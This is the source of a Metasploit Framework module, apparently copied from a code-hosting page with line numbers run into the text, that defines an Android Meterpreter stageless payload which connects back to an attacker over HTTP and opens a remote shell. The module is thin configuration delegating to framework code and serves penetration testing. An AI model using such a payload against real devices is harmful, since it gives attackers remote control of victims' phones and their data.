Path: blob/master/modules/payloads/singles/android/meterpreter_reverse_http.rb
21538 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::TransportConfig9include Msf::Payload::Single10include Msf::Payload::Android11include Msf::Payload::UUID::Options12include Msf::Sessions::MeterpreterOptions::Android1314def initialize(info = {})15super(16merge_info(17info,18'Name' => 'Android Meterpreter Shell, Reverse HTTP Inline',19'Description' => 'Connect back to attacker and spawn a Meterpreter shell',20'License' => MSF_LICENSE,21'Platform' => 'android',22'Arch' => ARCH_DALVIK,23'Handler' => Msf::Handler::ReverseHttp,24'Session' => Msf::Sessions::Meterpreter_Java_Android,25'Payload' => ''26)27)28end2930#31# Generate the transport-specific configuration32#33def transport_config(opts = {})34transport_config_reverse_http(opts)35end3637def generate_jar(opts = {})38opts[:stageless] = true39super(opts)40end41end424344